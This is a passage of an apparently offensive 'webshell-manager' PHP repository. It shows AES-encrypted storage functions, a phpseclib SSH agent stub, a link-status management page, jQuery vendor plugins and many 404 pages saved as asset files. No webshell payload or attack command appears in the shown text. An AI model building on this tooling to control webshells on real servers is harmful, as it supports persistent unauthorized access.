"; 13 | 14 | 15 | 16 | function fileWrite($data,$key){ 17 | $file=fopen("data.php","w+"); 18 | $aes = new Crypt_AES(); 19 | $aes->setKey($key); 20 | if($file){ 21 | fwrite($file,$GLOBALS["fileStart"].$aes->encrypt($data).$GLOBALS["fileEnd"]); 22 | } 23 | fclose($file); 24 | } 25 | 26 | function fileRead($key){ 27 | $file=fopen("data.php","r"); 28 | $aes = new Crypt_AES(); 29 | $aes->setKey($key); 30 | $tempdata=""; 31 | if($file){ 32 | $tempdata=file_get_contents("data.php"); 33 | $tempdata=substr($tempdata,strlen($GLOBALS["fileStart"])); 34 | $tempdata=$aes->decrypt(substr($tempdata,0,-strlen($GLOBALS["fileEnd"]))); 35 | } 36 | fclose($file); 37 | return $tempdata; 38 | } 39 | 40 | ?> -------------------------------------------------------------------------------- /KeyManage.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /System/SSH_Agent.php: -------------------------------------------------------------------------------- 1 | 33 | * @copyright MMXIV Jim Wigginton 34 | * @license http://www.opensource.org/licenses/mit-license.html MIT License 35 | * @link http://phpseclib.sourceforge.net 36 | * @internal See http://api.libssh.org/rfc/PROTOCOL.agent 37 | */ 38 | 39 | require_once 'SSH/Agent.php'; 40 | -------------------------------------------------------------------------------- /UI/activeLink.php: -------------------------------------------------------------------------------- 1 | 32 |
33 |
34 |

活动链路状态管理

35 |
36 |
37 | 38 |

39 | 40 | 65 | -------------------------------------------------------------------------------- /UI/assets/css/vendor/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/css/vendor/fonts/glyphicons-halflings-regular.eot was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/css/vendor/fonts/glyphicons-halflings-regular.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/css/vendor/fonts/glyphicons-halflings-regular.svg was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/css/vendor/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/css/vendor/fonts/glyphicons-halflings-regular.ttf was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/css/vendor/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/css/vendor/fonts/glyphicons-halflings-regular.woff was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/images/arnold-avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/arnold-avatar.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/1.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/2.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/3.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/4.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/5.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/6.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/1.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/2.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/3.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/4.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/5.jpg -------------------------------------------------------------------------------- /UI/assets/images/backgrounds/thumbs/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/backgrounds/thumbs/6.jpg -------------------------------------------------------------------------------- /UI/assets/images/bootstrap-colorpicker/alpha-horizontal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/bootstrap-colorpicker/alpha-horizontal.png -------------------------------------------------------------------------------- /UI/assets/images/bootstrap-colorpicker/alpha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/bootstrap-colorpicker/alpha.png -------------------------------------------------------------------------------- /UI/assets/images/bootstrap-colorpicker/hue-horizontal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/bootstrap-colorpicker/hue-horizontal.png -------------------------------------------------------------------------------- /UI/assets/images/bootstrap-colorpicker/hue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/bootstrap-colorpicker/hue.png -------------------------------------------------------------------------------- /UI/assets/images/bootstrap-colorpicker/saturation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/bootstrap-colorpicker/saturation.png -------------------------------------------------------------------------------- /UI/assets/images/carousel/carousel1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/carousel/carousel1.jpg -------------------------------------------------------------------------------- /UI/assets/images/carousel/carousel2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/carousel/carousel2.jpg -------------------------------------------------------------------------------- /UI/assets/images/carousel/carousel3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/carousel/carousel3.jpg -------------------------------------------------------------------------------- /UI/assets/images/carousel/carousel4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/carousel/carousel4.jpg -------------------------------------------------------------------------------- /UI/assets/images/chosen-sprite-transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/chosen-sprite-transparent.png -------------------------------------------------------------------------------- /UI/assets/images/dot_pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/dot_pattern.png -------------------------------------------------------------------------------- /UI/assets/images/george-avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/george-avatar.jpg -------------------------------------------------------------------------------- /UI/assets/images/ici-avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/ici-avatar.jpg -------------------------------------------------------------------------------- /UI/assets/images/loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/loader.gif -------------------------------------------------------------------------------- /UI/assets/images/logo-big.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/logo-big.png -------------------------------------------------------------------------------- /UI/assets/images/minimal-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/minimal-logo.png -------------------------------------------------------------------------------- /UI/assets/images/modal-close-hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/modal-close-hover.png -------------------------------------------------------------------------------- /UI/assets/images/modal-close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/modal-close.png -------------------------------------------------------------------------------- /UI/assets/images/noise.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/noise.png -------------------------------------------------------------------------------- /UI/assets/images/peter-avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/peter-avatar.jpg -------------------------------------------------------------------------------- /UI/assets/images/profile-photo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/profile-photo.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar1.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar2.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar4.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar5.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar6.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar7.jpg -------------------------------------------------------------------------------- /UI/assets/images/random-avatar8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/images/random-avatar8.jpg -------------------------------------------------------------------------------- /UI/assets/js/assets/images/video.jpg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/assets/images/video.jpg was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/animate-numbers/jquery.animateNumbers.js: -------------------------------------------------------------------------------- 1 | /*********** 2 | Animates element's number to new number with commas 3 | Parameters: 4 | stop (number): number to stop on 5 | commas (boolean): turn commas on/off (default is true) 6 | duration (number): how long in ms (default is 1000) 7 | ease (string): type of easing (default is "swing", others are avaiable from jQuery's easing plugin 8 | Examples: 9 | $("#div").animateNumbers(1234, false, 500, "linear"); // half second linear without commas 10 | $("#div").animateNumbers(1234, true, 2000); // two second swing with commas 11 | $("#div").animateNumbers(4321); // one second swing with commas 12 | This fully expects an element containing an integer 13 | If the number is within copy then separate it with a span and target the span 14 | Inserts and accounts for commas during animation by default 15 | ***********/ 16 | 17 | (function($) { 18 | $.fn.animateNumbers = function(stop, commas, duration, ease) { 19 | return this.each(function() { 20 | var $this = $(this); 21 | var start = parseInt($this.text().replace(/,/g, "")); 22 | commas = (commas === undefined) ? true : commas; 23 | $({value: start}).animate({value: stop}, { 24 | duration: duration == undefined ? 1000 : duration, 25 | easing: ease == undefined ? "swing" : ease, 26 | step: function() { 27 | $this.text(Math.floor(this.value)); 28 | if (commas) { $this.text($this.text().replace(/(\d)(?=(\d\d\d)+(?!\d))/g, "$1,")); } 29 | }, 30 | complete: function() { 31 | if (parseInt($this.text()) !== stop) { 32 | $this.text(stop); 33 | if (commas) { $this.text($this.text().replace(/(\d)(?=(\d\d\d)+(?!\d))/g, "$1,")); } 34 | } 35 | } 36 | }); 37 | }); 38 | }; 39 | })(jQuery); -------------------------------------------------------------------------------- /UI/assets/js/vendor/chosen/images/chosen-sprite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/chosen/images/chosen-sprite.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/chosen/images/chosen-sprite@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/chosen/images/chosen-sprite@2x.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/colorbox/css/images/controls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/colorbox/css/images/controls.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/colorbox/css/images/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/colorbox/css/images/loading.gif -------------------------------------------------------------------------------- /UI/assets/js/vendor/colorbox/css/images/loading_background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/colorbox/css/images/loading_background.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/colorpalette/bootstrap-colorpalette.css: -------------------------------------------------------------------------------- 1 | .bootstrap-colorpalette { 2 | padding-left:4px; 3 | padding-right:4px; 4 | white-space: normal; 5 | line-height:1; 6 | } 7 | 8 | .bootstrap-colorpalette div { 9 | line-height:0; 10 | } 11 | 12 | .bootstrap-colorpalette .btn-color { 13 | width: 17px; 14 | height: 17px; 15 | border: 1px solid #fff; 16 | margin: 0; 17 | padding: 0; 18 | } 19 | 20 | .bootstrap-colorpalette .btn-color:hover { 21 | border: 1px solid #000; 22 | } 23 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/colorpalette/bootstrap-colorpalette.js: -------------------------------------------------------------------------------- 1 | /** 2 | * bootstrap-colorpalette.js 3 | * (c) 2013~ Jiung Kang 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | */ 6 | 7 | (function($) { 8 | "use strict"; 9 | var aaColor = [ 10 | ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], 11 | ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], 12 | ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], 13 | ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], 14 | ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], 15 | ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], 16 | ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], 17 | ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] 18 | ]; 19 | 20 | var createPaletteElement = function(element, _aaColor) { 21 | element.addClass('bootstrap-colorpalette'); 22 | var aHTML = []; 23 | $.each(_aaColor, function(i, aColor){ 24 | aHTML.push('
'); 25 | $.each(aColor, function(i, sColor) { 26 | var sButton = [''].join(''); 30 | aHTML.push(sButton); 31 | }); 32 | aHTML.push('
'); 33 | }); 34 | element.html(aHTML.join('')); 35 | }; 36 | 37 | var attachEvent = function(palette) { 38 | palette.element.on('click', function(e) { 39 | var welTarget = $(e.target), 40 | welBtn = welTarget.closest('.btn-color'); 41 | 42 | if (!welBtn[0]) { return; } 43 | 44 | var value = welBtn.attr('data-value'); 45 | palette.value = value; 46 | palette.element.trigger({ 47 | type: 'selectColor', 48 | color: value, 49 | element: palette.element 50 | }); 51 | }); 52 | }; 53 | 54 | var Palette = function(element, options) { 55 | this.element = element; 56 | createPaletteElement(element, options && options.colors || aaColor); 57 | attachEvent(this); 58 | }; 59 | 60 | $.fn.extend({ 61 | colorPalette : function(options) { 62 | this.each(function () { 63 | var $this = $(this), 64 | data = $this.data('colorpalette'); 65 | if (!data) { 66 | $this.data('colorpalette', new Palette($this, options)); 67 | } 68 | }); 69 | return this; 70 | } 71 | }); 72 | })(jQuery); 73 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/css/ColVis.css: -------------------------------------------------------------------------------- 1 | 2 | /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 3 | * ColVis styles 4 | */ 5 | .ColVis { 6 | float: right; 7 | margin-bottom: 1em; 8 | } 9 | 10 | .ColVis_Button { 11 | position: relative; 12 | float: left; 13 | margin-right: 3px; 14 | padding: 3px 5px; 15 | height: 30px; 16 | background-color: #fff; 17 | border: 1px solid #d0d0d0; 18 | cursor: pointer; 19 | *cursor: hand; 20 | } 21 | 22 | button.ColVis_Button::-moz-focus-inner { 23 | border: none !important; 24 | padding: 0; 25 | } 26 | 27 | .ColVis_text_hover { 28 | border: 1px solid #999; 29 | background-color: #f0f0f0; 30 | } 31 | 32 | div.ColVis_collectionBackground { 33 | background-color: black; 34 | z-index: 1100; 35 | } 36 | 37 | div.ColVis_collection { 38 | position: relative; 39 | width: 150px; 40 | background-color: #f3f3f3; 41 | padding: 3px; 42 | border: 1px solid #ccc; 43 | z-index: 1102; 44 | } 45 | 46 | div.ColVis_collection button.ColVis_Button { 47 | background-color: white; 48 | width: 100%; 49 | float: none; 50 | margin-bottom: 2px; 51 | } 52 | 53 | div.ColVis_catcher { 54 | position: absolute; 55 | z-index: 1101; 56 | } 57 | 58 | .disabled { 59 | color: #999; 60 | } 61 | 62 | 63 | 64 | button.ColVis_Button { 65 | text-align: left; 66 | } 67 | 68 | div.ColVis_collection button.ColVis_Button:hover { 69 | border: 1px solid #999; 70 | background-color: #f0f0f0; 71 | } 72 | 73 | span.ColVis_radio { 74 | display: inline-block; 75 | width: 20px; 76 | } 77 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/background.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/background.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/collection.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/collection.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/collection_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/collection_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/copy.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/copy.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/copy_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/copy_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/csv.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/csv.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/csv_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/csv_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/datatables/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/images/datatables/sort_asc.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/datatables/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/images/datatables/sort_asc_disabled.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/datatables/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/images/datatables/sort_both.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/datatables/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/images/datatables/sort_desc.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/datatables/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/images/datatables/sort_desc_disabled.png -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/pdf.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/pdf.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/pdf_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/pdf_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/print.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/print.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/print_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/print_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/xls.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/xls.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/images/xls_hover.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/images/xls_hover.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/swf/copy_csv_xls_pdf.swf: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/datatables/swf/copy_csv_xls_pdf.swf was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/datatables/tabletools/swf/copy_csv_xls_pdf.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/datatables/tabletools/swf/copy_csv_xls_pdf.swf -------------------------------------------------------------------------------- /UI/assets/js/vendor/flot/jquery.flot.animator.min.js: -------------------------------------------------------------------------------- 1 | /* jQuery Flot Animator version 1.0. 2 | 3 | Flot Animator is a free jQuery Plugin that will add fluid animations to Flot charts. 4 | 5 | Copyright (c) 2012-2013 Chtiwi Malek 6 | http://www.codicode.com/art/jquery_flot_animator.aspx 7 | 8 | Licensed under Creative Commons Attribution 3.0 Unported License. 9 | */ 10 | 11 | eval(function(p,a,c,k,e,d){while(c--)if(k[c])p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c]);return p;}('$.1m({1w:b(e,t,n){b h(){3 e=o[0][0];3 t=o[o.8-1][0];3 n=(t-e)/a;3 r=[];r.6(o[0]);3 i=1;7=o[0];4=o[i];q(3 